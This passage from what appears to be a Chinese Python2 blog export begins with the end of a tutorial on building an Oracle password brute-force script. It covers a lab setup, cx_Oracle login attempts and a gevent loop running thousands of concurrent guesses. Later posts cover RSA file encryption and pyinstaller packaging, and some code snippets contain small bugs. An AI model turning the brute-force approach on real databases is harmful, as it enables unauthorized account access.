alt="Oracle安装3.png"><br>由于我们用来做测试，所以选择【桌面类】即可。<br><img data-src="https://i.loli.net/2017/09/27/59cb6312e3f19.png" alt="Oracle安装4.png"><br>接下来对数据库进行配置，我这边将全局数据库名设置为Brute，管理口令设置成BruteTest，别的保持默认即可。<br><img data-src="https://i.loli.net/2017/09/27/59cb639a92d25.png" alt="Oracle安装5.png"><br>如果管理口令不符合Oracle建议的标准，会有一个提示，直接点击【是】即可。<br><img data-src="https://i.loli.net/2017/09/27/59cb63efeced1.png" alt="Oracle安装6.png"><br>接下来程序就会进行检查，待检查完成会出现一个概要。<br><img data-src="https://i.loli.net/2017/09/27/59cb642e642b2.png" alt="Oracle安装7.png"><br>点击完成，开始安装。<br><img data-src="https://i.loli.net/2017/09/27/59cb645ba853a.png" alt="Oracle安装8.png"><br>安装完成之后，点击【口令管理】对用户口令进行修改。<br><img data-src="https://i.loli.net/2017/09/27/59cb6736eda64.png" alt="Oracle安装9.png"><br>对sys、system两个用户设置新口令。<br><img data-src="https://i.loli.net/2017/09/27/59cb6784406cd.png" alt="Oracle安装10.png"><br>如果口令不满足复杂性策略，会有一个提示，直接点击【是】即可。<br><img data-src="https://i.loli.net/2017/09/27/59cb67b138a82.png" alt="Oracle安装11.png"><br>最后Oracle数据库安装成功。<br><img data-src="https://i.loli.net/2017/09/27/59cb67d5a91b4.png" alt="Oracle安装12.png"></p>
<h2 id="Oracle配置"><a href="#Oracle配置" class="headerlink" title="Oracle配置"></a>Oracle配置</h2><p>安装完成之后，在所有程序菜单中找到Oracle，打开【Database Control - Brute】。<br><img data-src="https://i.loli.net/2017/09/27/59cb683b8d4c0.png" alt="Oracle配置1.png"><br>使用sys用户、SYSDBA身份登录。<br><img data-src="https://i.loli.net/2017/09/27/59cb687d52ef1.png" alt="Oracle配置2.png"></p>
<h3 id="表空间"><a href="#表空间" class="headerlink" title="表空间"></a>表空间</h3><p>点击【服务器】→【表空间】。<br><img data-src="https://i.loli.net/2017/09/27/59cb68c3e1c4e.png" alt="Oracle配置3.png"><br>点击【创建】。<br><img data-src="https://i.loli.net/2017/09/27/59cb68fca5e99.png" alt="Oracle配置4.png"><br>输入名称，点击【添加】。<br><img data-src="https://i.loli.net/2017/09/27/59cb698785beb.png" alt="Oracle配置5.png"><br>输入文件名，点击【继续】。<br><img data-src="https://i.loli.net/2017/09/27/59cb69cda94f2.png" alt="Oracle配置6.png"><br>点击【确定】，建立表空间。<br><img data-src="https://i.loli.net/2017/09/27/59cb6a02a09bc.png" alt="Oracle配置7.png"></p>
<h3 id="用户"><a href="#用户" class="headerlink" title="用户"></a>用户</h3><p>点击【服务器】→【用户】。<br><img data-src="https://i.loli.net/2017/09/27/59cb6a54d6d73.png" alt="Oracle配置8.png"><br>点击【创建】。<br><img data-src="https://i.loli.net/2017/09/27/59cb6a7308d4e.png" alt="Oracle配置9.png"><br>输入名称、口令，点击【确定】。由于只是用于爆破，所以这里就不设置【角色】、【权限】等。<br><img data-src="https://i.loli.net/2017/09/27/59cb6acc22c4c.png" alt="Oracle配置10.png"></p>
<h3 id="端口对外开放"><a href="#端口对外开放" class="headerlink" title="端口对外开放"></a>端口对外开放</h3><p>对listener.ora、tnsnames.ora文件进行修改，文件路径类似：\app\Administrator\product\11.2.0\dbhome_2\NETWORK\ADMIN\，根据安装时所选的目录自行寻找。将两个文件里的localhost修改成计算机名。<br><img data-src="https://i.loli.net/2017/09/27/59cb6c91a688c.png" alt="Oracle配置11.png"><br>重启【OracleDBConsoleBrute】、【OracleOraDb11g_home1TNSListener】服务。<br><img data-src="https://i.loli.net/2017/09/27/59cb6db843743.png" alt="Oracle配置12.png"><br>可以使用其他电脑成功连接。<br><img data-src="https://i.loli.net/2017/09/27/59cb6ddf20cbb.png" alt="登录成功.png"></p>
<h1 id="脚本编写"><a href="#脚本编写" class="headerlink" title="脚本编写"></a>脚本编写</h1><p>Python27有一个库支持对Oracle进行操作，cx_Oracle，使用pip安装即可。</p>
<figure class="highlight cmake"><table><tr><td class="code"><pre><span class="line">pip <span class="keyword">install</span> cx_Oracle</span><br></pre></td></tr></table></figure>
<p>安装好之后，需要安装Oracle的client，不同系统安装的方式也不同，具体可以参考<span class="exturl" data-url="aHR0cHM6Ly9vcmFjbGUuZ2l0aHViLmlvL29kcGkvZG9jL2luc3RhbGxhdGlvbi5odG1s">官方文档<i class="fa fa-external-link-alt"></i></span>。client安装完成之后，使用cx_Oracle尝试连接。<br><img data-src="https://i.loli.net/2017/09/27/59cb6fd77dbb3.png" alt="python连接.png"><br>信息错误情况的各种错误信息。<br><img data-src="https://i.loli.net/2017/09/27/59cb765b9a6e2.png" alt="报错信息.png"></p>
<h2 id="终端输出"><a href="#终端输出" class="headerlink" title="终端输出"></a>终端输出</h2><p>爆破时，信息有很多。如果不对样式进行设置，导致不能快速找到有效信息。因此，需要对终端输出设置样式。有一个外部库colorama支持输出时的样式设置，通过pip安装即可.</p>
<figure class="highlight cmake"><table><tr><td class="code"><pre><span class="line">pip <span class="keyword">install</span> colorama</span><br></pre></td></tr></table></figure>
<p>安装完成之后，需要先调用init进行初始化。</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="comment"># --coding=utf-8--</span></span><br><span class="line"></span><br><span class="line"><span class="comment">## 参照表</span></span><br><span class="line"><span class="comment">## Fore: BLACK, RED, GREEN, YELLOW, BLUE, MAGENTA, CYAN, WHITE, RESET.</span></span><br><span class="line"><span class="comment">## Back: BLACK, RED, GREEN, YELLOW, BLUE, MAGENTA, CYAN, WHITE, RESET.</span></span><br><span class="line"><span class="comment">## Style: DIM, NORMAL, BRIGHT, RESET_ALL</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> colorama <span class="keyword">import</span> init, Fore, Style, Back</span><br><span class="line"></span><br><span class="line">init(autoreset=<span class="literal">True</span>)</span><br><span class="line"><span class="built_in">print</span> Fore.GREEN + <span class="string">u&#x27;字体颜色设置&#x27;</span></span><br><span class="line"><span class="built_in">print</span> Style.DIM + <span class="string">u&#x27;字体样式设置&#x27;</span></span><br><span class="line"><span class="built_in">print</span> Back.GREEN + <span class="string">u&#x27;背景颜色设置&#x27;</span></span><br></pre></td></tr></table></figure>
<p><img data-src="https://i.loli.net/2017/09/28/59cc733c6e706.png" alt="print效果图.png"></p>
<h2 id="异步设置"><a href="#异步设置" class="headerlink" title="异步设置"></a>异步设置</h2><p>使用gevent进行爆破，当爆破量很大的时候，会导致内存飙高。因此，设置了阀值。</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">    <span class="keyword">if</span> <span class="keyword">not</span> blasting.empty():</span><br><span class="line">        <span class="keyword">if</span> <span class="built_in">len</span>(self.threads) &lt; <span class="number">5000</span>:</span><br><span class="line">            self.threads.append(gevent.spawn(self._test, blasting.get()))</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            gevent.joinall(self.threads)</span><br><span class="line">            self.threads = []</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="keyword">if</span> <span class="built_in">len</span>(self.threads) &gt; <span class="number">0</span>:</span><br><span class="line">            gevent.joinall(self.threads)</span><br><span class="line">        <span class="keyword">break</span></span><br></pre></td></tr></table></figure>
<h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><p>在编写Oracle爆破脚本的时候，大部分的问题由环境搭建、配置引起。</p>
<ol>
<li>Oracle安装完成之后，数据库是不对外开放需要修改配置文件，配置文件localhost修改成计算机名，当服务器IP修改时，其他计算机还是可以连接。修改成ip时，服务器IP修改时，需要修改配置文件中的ip；</li>
<li>Oracle端口不对外开放，确认配置文件修改正确的情况下，【OracleDBConsoleBrute】、【OracleOraDb11g_home1TNSListener】服务需要重启，网上说只需要重启TNS服务即可，但是测试时，发现两个服务都需要重启；</li>
<li>Python终端彩字输出可以使用\033[显示方式;前景色;背景色m + 结尾部分：\033[0m，但Windows下失败，Linux下没去尝试；</li>
<li>使用colorama需要先初始化init(autoreset&#x3D;True)。</li>
</ol>
<h1 id="完整代码"><a href="#完整代码" class="headerlink" title="完整代码"></a>完整代码</h1><p>完整代码已经上传到我的GiHub。如果有兴趣，不妨移步到Github上一观！**<a href="https://github.com/HyWell/Python/blob/master/Blog/Oracle_Brute.py"><font color=blue>Code</font></a>**。</p>
]]></content>
      <categories>
        <category>Code</category>
        <category>Python2</category>
      </categories>
      <tags>
        <tag>Python2</tag>
        <tag>爆破</tag>
      </tags>
  </entry>
  <entry>
    <title>Python2-RSA加密文件</title>
    <url>/archives/fb3e56b9.html</url>
    <content><![CDATA[<p>　每个人都有自己的小秘密，如何保护好它是非常重要的。我通过Python27结合RSA算法保护我的”小秘密”。</p>
<span id="more"></span>
<h2 id="准备"><a href="#准备" class="headerlink" title="准备"></a>准备</h2><p>　使用pycrypto库就可以完成RSA加、解密。</p>
<h3 id="Pycrypto"><a href="#Pycrypto" class="headerlink" title="Pycrypto"></a>Pycrypto</h3><p>　使用pip快捷安装pycrypto。如果对pycrypto感兴趣，可以参考<span class="exturl" data-url="aHR0cDovL3B5dGhvbmhvc3RlZC5vcmcvcHljcnlwdG8v">文档<i class="fa fa-external-link-alt"></i></span>。</p>
<figure class="highlight cmake"><table><tr><td class="code"><pre><span class="line">pip <span class="keyword">install</span> pycrypto</span><br></pre></td></tr></table></figure>
<p>　如果无法使用pip安装，可以<span class="exturl" data-url="aHR0cDovL3d3dy52b2lkc3BhY2Uub3JnLnVrL3B5dGhvbi9tb2R1bGVzLnNodG1sI3B5Y3J5cHRv">在这里<i class="fa fa-external-link-alt"></i></span>下载编译好的源文件进行安装。</p>
<h2 id="终端处理"><a href="#终端处理" class="headerlink" title="终端处理"></a>终端处理</h2><p>　终端信息获取可以通过sys.argv或者使用getopt库。</p>
<h3 id="sys"><a href="#sys" class="headerlink" title="sys"></a>sys</h3><p>　sys.argv是一个列表对象。用来获取终端信息。终端格式示例。</p>
<figure class="highlight nginx"><table><tr><td class="code"><pre><span class="line"><span class="attribute">python</span> getinfo.py <span class="literal">info</span>1 <span class="literal">info</span>2 <span class="literal">info</span>3</span><br></pre></td></tr></table></figure>
<p>　sys.argv[0]是getinfo.py，sys.argv[1]是info1，sys.argv[2]是info2，sys.argv[3]是info3。</p>
<h3 id="Getopt"><a href="#Getopt" class="headerlink" title="Getopt"></a>Getopt</h3><p>　getopt可以用来获取终端参数，实际使用的时候效果比sys.argv好很多。如果对getopt感兴趣，可以参考<span class="exturl" data-url="aHR0cHM6Ly9kb2NzLnB5dGhvbi5vcmcvMi9saWJyYXJ5L2dldG9wdC5odG1s">文档<i class="fa fa-external-link-alt"></i></span><br>　getopt有短格式、长格式。”-h-f:”为短格式，如果后面带冒号说明该参数需要加参数值，不加冒号说明该参数不需要加参数值。”[‘help’, ‘file&#x3D;’]”为长格式，如果后面带等号说明该参数需要加参数值，如果后面不带等号说明该参数不需要参数值。<br>　终端格式示例。</p>
<figure class="highlight nginx"><table><tr><td class="code"><pre><span class="line"><span class="attribute">python</span> getinfo.py -h -f=<span class="literal">info</span>.txt</span><br></pre></td></tr></table></figure>
<p>　代码示例。</p>
<figure class="highlight vim"><table><tr><td class="code"><pre><span class="line">import getopt</span><br><span class="line"><span class="keyword">opt</span>, <span class="keyword">args</span> = getopt.getopt(sys.<span class="built_in">argv</span>[<span class="number">1</span>:], <span class="string">&quot;-h-f:&quot;</span>,[<span class="string">&#x27;help&#x27;</span>, <span class="string">&#x27;file=&#x27;</span>])</span><br><span class="line"><span class="keyword">for</span> opt_name, opt_value in opts:</span><br><span class="line">    <span class="keyword">if</span> opt_name in (<span class="string">&#x27;-h&#x27;</span>, <span class="string">&#x27;--help&#x27;</span>):</span><br><span class="line">        <span class="keyword">print</span> <span class="string">&quot;This is help!&quot;</span></span><br><span class="line">    <span class="keyword">if</span> opt_name in (<span class="string">&#x27;-f&#x27;</span>, <span class="string">&#x27;--file&#x27;</span>):</span><br><span class="line">        <span class="keyword">print</span> opt_value</span><br></pre></td></tr></table></figure>
<h2 id="pycrypto使用"><a href="#pycrypto使用" class="headerlink" title="pycrypto使用"></a>pycrypto使用</h2><p>　pycrypto包含许多加密方式：AES、SHA256、RSA等。出于安全性考虑，我使用RSA来加密文件。</p>
<h3 id="生成公、私钥文件"><a href="#生成公、私钥文件" class="headerlink" title="生成公、私钥文件"></a>生成公、私钥文件</h3><p>　RSA加密需要使用到公钥文件、RSA解密需要使用到私钥文件。如果大家对RSA算法不了解的话，可以参考<span class="exturl" data-url="aHR0cHM6Ly9lbi53aWtpcGVkaWEub3JnL3dpa2kvUlNBXyhjcnlwdG9zeXN0ZW0p">Wiki<i class="fa fa-external-link-alt"></i></span>。<br>　通过上文可以得知，生成自己的公钥、私钥文件是十分重要的。pycrypto支持生成公钥、私钥文件。<br>　代码示例。</p>
<figure class="highlight livecodeserver"><table><tr><td class="code"><pre><span class="line"><span class="built_in">from</span> Crypto import Random</span><br><span class="line"><span class="built_in">from</span> Crypto.Cipher import PKCS1_v1_5 <span class="keyword">as</span> Cipher_pkcs1_v1_5</span><br><span class="line"><span class="built_in">from</span> Crypto.PublicKey import RSA</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">random_generator = Random.<span class="built_in">new</span>().<span class="built_in">read</span>  <span class="comment"># 伪随机数生成器</span></span><br><span class="line">rsa = RSA.generate(self.generateNum, random_generator)  <span class="comment"># rsa算法生成</span></span><br><span class="line">private_pem = rsa.exportKey()  <span class="comment"># 私钥生成</span></span><br><span class="line"><span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&#x27;private.pem&#x27;</span>, <span class="string">&#x27;w&#x27;</span>) <span class="keyword">as</span> f:  <span class="comment"># 生成私钥文件</span></span><br><span class="line">    f.<span class="built_in">write</span>(private_pem)</span><br><span class="line">public_pem = rsa.publickey().exportKey()  <span class="comment"># 公钥生成</span></span><br><span class="line"><span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&#x27;public.pem&#x27;</span>, <span class="string">&#x27;w&#x27;</span>) <span class="keyword">as</span> f:  <span class="comment"># 生成公钥文件</span></span><br><span class="line">    f.<span class="built_in">write</span>(public_pem)</span><br></pre></td></tr></table></figure>
<h3 id="RSA加密"><a href="#RSA加密" class="headerlink" title="RSA加密"></a>RSA加密</h3><p>　RSA加密需要使用到公钥文件。<br>　代码示例。</p>
<figure class="highlight coffeescript"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> Crypto <span class="keyword">import</span> Random</span><br><span class="line"><span class="keyword">from</span> Crypto.Cipher <span class="keyword">import</span> PKCS1_v1_5 <span class="keyword">as</span> Cipher_pkcs1_v1_5</span><br><span class="line"><span class="keyword">from</span> Crypto.PublicKey <span class="keyword">import</span> RSA</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">message = <span class="string">&quot;My name is Hywell!&quot;</span></span><br><span class="line"><span class="keyword">with</span> open(<span class="string">&#x27;public.pem&#x27;</span>) <span class="keyword">as</span> f:  <span class="comment"># 读取公钥文件</span></span><br><span class="line">    key = f.read()</span><br><span class="line">rsakey = RSA.importKey(key)  <span class="comment"># 加载公钥</span></span><br><span class="line">cipher = Cipher_pkcs1_v1_5.<span class="keyword">new</span>(rsakey)</span><br><span class="line">cipher_text = cipher.encrypt(message)  <span class="comment"># 加密message</span></span><br></pre></td></tr></table></figure>
<h3 id="RSA解密"><a href="#RSA解密" class="headerlink" title="RSA解密"></a>RSA解密</h3><p>　RSA解密需要使用到私钥文件。<br>　代码示例。</p>
<figure class="highlight livecodeserver"><table><tr><td class="code"><pre><span class="line"><span class="built_in">from</span> Crypto import Random</span><br><span class="line"><span class="built_in">from</span> Crypto.Cipher import PKCS1_v1_5 <span class="keyword">as</span> Cipher_pkcs1_v1_5</span><br><span class="line"><span class="built_in">from</span> Crypto.PublicKey import RSA</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">cipher_text = <span class="string">&quot;This is cryptoStr!&quot;</span></span><br><span class="line">random_generator = Random.<span class="built_in">new</span>().<span class="built_in">read</span>  <span class="comment"># 伪随机数生成器</span></span><br><span class="line"><span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&#x27;ghost-private.pem&#x27;</span>) <span class="keyword">as</span> f:  <span class="comment"># 读取私钥文件</span></span><br><span class="line">    key = f.<span class="built_in">read</span>()</span><br><span class="line">rsakey = RSA.importKey(key)  <span class="comment"># 加载私钥</span></span><br><span class="line">cipher = Cipher_pkcs1_v1_5.<span class="built_in">new</span>(rsakey)</span><br><span class="line"><span class="built_in">result</span> = cipher.<span class="built_in">decrypt</span>(base64.b64decode(encrypt_text), random_generator)  <span class="comment"># 解密cipher_text</span></span><br></pre></td></tr></table></figure>
<h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>　在编写使用RSA加密文件时，遇到了几个问题，在此记录一下。</p>
<ol>
<li>使用getopt库作为命令行参数获取，使用for获取对应参数的值的时候，获取得到值是以&#x3D;开头。因此，实际需要使用value[1:]来获取;</li>
<li>RSA加密常见的key_size有1024bit、2048bit两种，解密的时候需要选择跟加密时一样的bit;</li>
<li>RSA加密单次加密字符的长度有限制，最大为(key_size&#x2F;8)-11;</li>
<li>使用1024bitRSA加密100长度的字符会生成128长度的加密过的字符;</li>
<li>使用2048bitRSA加密200长度的字符会生成256长度的加密过的字符。</li>
</ol>
<h2 id="完整代码"><a href="#完整代码" class="headerlink" title="完整代码"></a>完整代码</h2><p>　完整代码支持终端获取参数、文件夹所有文件RSA加密、文件夹所有文件RSA解密。<br>　完整代码已经上传到我的GiHub。如果有兴趣，不妨移步到Github上一观！**<a href="https://github.com/HyWell/Python/blob/master/Os/Encryptiong.py"><font color=blue>Code</font></a>**。</p>
]]></content>
      <categories>
        <category>Code</category>
        <category>Python2</category>
      </categories>
      <tags>
        <tag>Python2</tag>
        <tag>加密工具</tag>
      </tags>
  </entry>
  <entry>
    <title>Python2-py转exe(附GUI界面)</title>
    <url>/archives/2329ebda.html</url>
    <content><![CDATA[<p>　有时候写了一个脚本，但是换到另外一台电脑上的时候，发现并没有Python的解析环境，这时候将py文件转成exe，再将其换到另外一台Windows电脑运行，是一个很好的选择。</p>
<span id="more"></span>
<h2 id="准备"><a href="#准备" class="headerlink" title="准备"></a>准备</h2><p>　py转exe有:py2exe、pyinstaller等多种选择。这两种我都用过，我更倾向于pyinstaller。本文使用的就是pyinstaller。</p>
<h3 id="pyinstaller"><a href="#pyinstaller" class="headerlink" title="pyinstaller"></a>pyinstaller</h3><p>　使用pip快捷安装pyinstaller。如果对pyinstaller感兴趣，可以参考<span class="exturl" data-url="aHR0cDovL3d3dy5weWluc3RhbGxlci5vcmcvZG9jdW1lbnRhdGlvbi5odG1s">文档<i class="fa fa-external-link-alt"></i></span></p>
<figure class="highlight cmake"><table><tr><td class="code"><pre><span class="line">pip <span class="keyword">install</span> pyinstaller</span><br></pre></td></tr></table></figure>
<p>　如果无法使用pip安装，可以在<span class="exturl" data-url="aHR0cDovL3d3dy5weWluc3RhbGxlci5vcmcvZG93bmxvYWRzLmh0bWw=">官网<i class="fa fa-external-link-alt"></i></span>下载源码安装。<br>　成功安装可以输出对应版本信息。<br><img data-src="https://i.loli.net/2017/08/19/599799dd8f23c.png" alt="pyinstaller version.png"></p>
<h3 id="py文件"><a href="#py文件" class="headerlink" title="py文件"></a>py文件</h3><p>　将py文件转exe，那么必备的就是py文件了。本文采用我以前写的RSA加密文件脚本，可以在这里<span class="exturl" data-url="aHR0cHM6Ly9naXRodWIuY29tL0h5V2VsbC9QeXRob24vYmxvYi9tYXN0ZXIvT3MvRW5jcnlwdGlvbmcucHk=">下载<i class="fa fa-external-link-alt"></i></span>。</p>
<h2 id="转换Exe"><a href="#转换Exe" class="headerlink" title="转换Exe"></a>转换Exe</h2><p>　有了pyinstaller之后，将py文件转成exe只需要一条命令即可完成。该条命令会生成两个文件夹:build、dist。生成的exe在dist文件夹中。</p>
<figure class="highlight nginx"><table><tr><td class="code"><pre><span class="line"><span class="attribute">pyinstaller</span> Encryptiong.py</span><br></pre></td></tr></table></figure>
<p><img data-src="https://i.loli.net/2017/08/19/59979af8238fa.png" alt="exe转换.png"></p>
<h3 id="单文件生成"><a href="#单文件生成" class="headerlink" title="单文件生成"></a>单文件生成</h3><p>　刚刚转换出来的exe有许多依赖的文件在dist文件夹下。就是说想要运行这个exe，那么整个dist文件夹下所有文件都需要存在。<br>　pyinstaller提供了将py文件转换成单exe模式，只需要在转换命令加上-F参数即可。</p>
<figure class="highlight nginx"><table><tr><td class="code"><pre><span class="line"><span class="attribute">pyinstaller</span> Encryptiong.py -F</span><br></pre></td></tr></table></figure>
<h3 id="压缩"><a href="#压缩" class="headerlink" title="压缩"></a>压缩</h3><p>　如果转换出来的exe大小很大，pyinstaller也支持压缩。压缩需要下载<span class="exturl" data-url="aHR0cHM6Ly91cHguZ2l0aHViLmlvLw==">upx<i class="fa fa-external-link-alt"></i></span>，并加上对应参数即可。</p>
<figure class="highlight stylus"><table><tr><td class="code"><pre><span class="line">pyinstaller Encryptiong<span class="selector-class">.py</span> -F <span class="attr">--upx-dir</span> D:\Code\Python27\upx394w</span><br></pre></td></tr></table></figure>
<h3 id="图标"><a href="#图标" class="headerlink" title="图标"></a>图标</h3><p>　现在已经成功生成了exe，但是现在的exe图标很”大众”。这是pyinstaller默认图标，如果想自定义图标的话，pyinstaller也提供了对应参数-i。但是需要提供多种尺寸的ico图标，因为不同情况下需要不一样尺寸的图标。可以使用**<span class="exturl" data-url="aHR0cDovL3d3dy53aW50ZXJkcmFjaGUuZGUvZnJlZXdhcmUvcG5nMmljby8=">png2ico<i class="fa fa-external-link-alt"></i></span>**工具转换，使用png2ico需要使用对应的命令。</p>
<figure class="highlight llvm"><table><tr><td class="code"><pre><span class="line">png<span class="number">2</span>ico myicon.ico icon_<span class="number">128</span><span class="keyword">x</span><span class="number">128</span>.png icon_<span class="number">64</span><span class="keyword">x</span><span class="number">64</span>.png icon_<span class="number">48</span><span class="keyword">x</span><span class="number">48</span>.png icon_<span class="number">32</span><span class="keyword">x</span><span class="number">32</span>.png icon_<span class="number">16</span><span class="keyword">x</span><span class="number">16</span>.png</span><br></pre></td></tr></table></figure>
<p>　也可以使用在线转换工具**<span class="exturl" data-url="aHR0cHM6Ly93d3cuY29udmVydGljb24uY29tLw==">ConvertIcon!<i class="fa fa-external-link-alt"></i></span>**,导出的时候需要勾对应尺寸。<br><img data-src="https://i.loli.net/2017/08/19/5997a38d607b0.png" alt="converticon.png"><br>　有了图标之后，使用对应命令即可。</p>
<figure class="highlight stylus"><table><tr><td class="code"><pre><span class="line">pyinstaller Encryptiong<span class="selector-class">.py</span> -F <span class="attr">--upx-dir</span> D:\Code\Python27\upx394w -<span class="selector-tag">i</span> ico.ico</span><br></pre></td></tr></table></figure>
<h2 id="GUI界面"><a href="#GUI界面" class="headerlink" title="GUI界面"></a>GUI界面</h2><p>　现在生成的exe文件，打开之后连GUI界面都没有。没有GUI界面的exe就是耍流氓。(Ps:来源某位小伙伴)我这么正经的人，怎么可能耍流氓！<br>　Python想要生成GUI界面，需要安装PyQt。我安装的是PyQt4。由于最新版的PyQt已经不提供Windows二进制安装程序，大家可以安装<span class="exturl" data-url="aHR0cHM6Ly9zb3VyY2Vmb3JnZS5uZXQvcHJvamVjdHMvcHlxdC9maWxlcy9QeVF0NC9QeVF0LTQuMTEuNC8=">4.11.4版本<i class="fa fa-external-link-alt"></i></span>。找到合适自己的版本，下载、安装即可。</p>
<h3 id="UI生成"><a href="#UI生成" class="headerlink" title="UI生成"></a>UI生成</h3><p>　安装完PyQt4之后，大家可以在Python27\Lib\site-packages\PyQt4文件夹找到designer.exe用来构建GUI界面的UI。<br>　打开designer.exe新建一个窗体，通过左边拖拽控件，将控件按照自己喜欢的位置布局到窗体里面。设计好了保存成ui文件即可。<br>　最后可以Python27\Lib\site-packages\PyQt4\pyuic4.bat来生成对应的布局代码。</p>
<figure class="highlight reasonml"><table><tr><td class="code"><pre><span class="line">pyuic4.bat -o <span class="module-access"><span class="module"><span class="identifier">EncryptiongUi</span>.</span></span>py <span class="module-access"><span class="module"><span class="identifier">EncryptiongUi</span>.</span></span>ui</span><br></pre></td></tr></table></figure>
<p>　生成的布局代码文件有一个Ui类，其中包含了setupUi、retranslateUi函数。</p>
<h3 id="GUI生成"><a href="#GUI生成" class="headerlink" title="GUI生成"></a>GUI生成</h3><p>　用了UI布局，现在新建一个脚本(Encry.py)通过代码生成一个窗体即可。</p>
<figure class="highlight haskell"><table><tr><td class="code"><pre><span class="line"><span class="meta"># -*- coding: utf-8 -*-</span></span><br><span class="line"><span class="title">from</span> <span class="type">PyQt4</span>.<span class="type">QtGui</span> <span class="keyword">import</span> *  </span><br><span class="line"><span class="title">from</span> <span class="type">PyQt4</span> <span class="keyword">import</span> QtGui</span><br><span class="line"><span class="title">from</span> <span class="type">PyQt4</span>.<span class="type">QtCore</span> <span class="keyword">import</span> *  </span><br><span class="line"><span class="keyword">import</span> sys  </span><br><span class="line"><span class="keyword">import</span> EncryptiongUi</span><br><span class="line"><span class="class"></span></span><br><span class="line"><span class="class"></span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="type">TestDlg</span>(<span class="type">QDialog</span>, <span class="type">EncryptiongUi</span>.<span class="type">Ui_RSA</span>):  # 继承<span class="type">EncryptiongUI</span>.<span class="type">UI_RSA</span></span></span><br><span class="line"><span class="class">    def __init__(<span class="title">self</span>, <span class="title">parent</span>=<span class="type">None</span>):</span></span><br><span class="line"><span class="class">        super(<span class="type">TestDlg</span>, <span class="title">self</span>).__init__(<span class="title">parent</span>)</span></span><br><span class="line"><span class="class">        self.setupUi(<span class="title">self</span>)</span></span><br><span class="line"><span class="class">        # self.setWindowIcon(<span class="type">QtGui</span>.<span class="type">QIcon</span>(&#x27;./<span class="title">ico</span>.<span class="title">ico&#x27;</span>))  # 设置icon</span></span><br><span class="line"><span class="class">        </span></span><br><span class="line"><span class="class">def main():</span></span><br><span class="line"><span class="class">    app = <span class="type">QApplication</span>(<span class="title">sys</span>.<span class="title">argv</span>)</span></span><br><span class="line"><span class="class">    dialog = <span class="type">TestDlg</span>()</span></span><br><span class="line"><span class="class">    dialog.show()</span></span><br><span class="line"><span class="class">    sys.exit(<span class="title">app</span>.<span class="title">exec_</span>())</span></span><br><span class="line"><span class="class">    </span></span><br><span class="line"><span class="class">if __name__ == &#x27;__main__&#x27;:</span></span><br><span class="line"><span class="class">    main()</span></span><br></pre></td></tr></table></figure>
<p>　运行Encry.py即可生成一个GUI界面。<br><img data-src="https://i.loli.net/2017/08/19/5997acf24bec8.png" alt="GUI.png"></p>
<h3 id="控件功能配置"><a href="#控件功能配置" class="headerlink" title="控件功能配置"></a>控件功能配置</h3><p>　我设计了一个包含两个line、三个button的窗体。根据button来执行Encryptiong.py的不同功能，根据line的值进行传参。<br>　首先对Encryptiong.py脚本进行改造。只需要把180、181注释，让其不运行即可。</p>
<figure class="highlight autoit"><table><tr><td class="code"><pre><span class="line"><span class="meta"># if __name__ == <span class="string">&#x27;__main__&#x27;</span>:</span></span><br><span class="line">    <span class="meta"># main()</span></span><br></pre></td></tr></table></figure>
<p>　其次对EncryptiongUI.py进行改造。导入Encryptiong的Encryptiong，用来执行加密、解密等功能。</p>
<figure class="highlight angelscript"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> Encryptiong <span class="keyword">import</span> Encryptiong</span><br></pre></td></tr></table></figure>
<p>　接下来将按钮的单击属性打开。一共需要打开三个按钮的属性,pushButton是按钮的自定义名称，根据命名进行修改。</p>
<figure class="highlight lasso"><table><tr><td class="code"><pre><span class="line"><span class="built_in">self</span>.pushButton.setCheckable(<span class="literal">True</span>)</span><br><span class="line"><span class="built_in">self</span>.pushButton.setChecked(<span class="literal">True</span>)</span><br></pre></td></tr></table></figure>
<p>　然后在UI类中，编写工作的函数。</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">work</span>(<span class="params">self, Ctype</span>):</span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        <span class="keyword">if</span> Ctype == <span class="number">1</span>:</span><br><span class="line">            Encryptiong().encryp()</span><br><span class="line">            QtGui.QMessageBox.about(self, <span class="string">u&#x27;提醒&#x27;</span>, <span class="string">u&quot;成功生成公、私钥文件！&quot;</span>)  <span class="comment"># 设置提醒消息框</span></span><br><span class="line">        <span class="keyword">elif</span> Ctype == <span class="number">2</span>:</span><br><span class="line">            public = <span class="built_in">str</span>(self.lineEdit.text())  <span class="comment"># 获取line的文本</span></span><br><span class="line">            filepath = <span class="built_in">str</span>(self.lineEdit_2.text())  <span class="comment"># 获取line2的文本</span></span><br><span class="line">            Encryptiong(public=public, filepath=filepath).encryption()</span><br><span class="line">            QtGui.QMessageBox.about(self, <span class="string">u&#x27;提醒&#x27;</span>, <span class="string">u&quot;完成加密！&quot;</span>)</span><br><span class="line">        <span class="keyword">elif</span> Ctype == <span class="number">3</span>:</span><br><span class="line">            private = <span class="built_in">str</span>(self.lineEdit.text())</span><br><span class="line">            filepath = <span class="built_in">str</span>(self.lineEdit_2.text())</span><br><span class="line">            Encryptiong(private=private,decrypt=filepath).decrypted()</span><br><span class="line">            QtGui.QMessageBox.about(self, <span class="string">u&#x27;提醒&#x27;</span>, <span class="string">u&quot;完成解密！&quot;</span>)</span><br><span class="line">    <span class="keyword">except</span>:</span><br><span class="line">        QtGui.QMessageBox.about(self, <span class="string">u&#x27;警告&#x27;</span>, <span class="string">u&quot;输入有误,请重新输入！&quot;</span>)</span><br></pre></td></tr></table></figure>
<p>　回到Ui类的setupUi函数，设置按钮单击执行工作函数。</p>
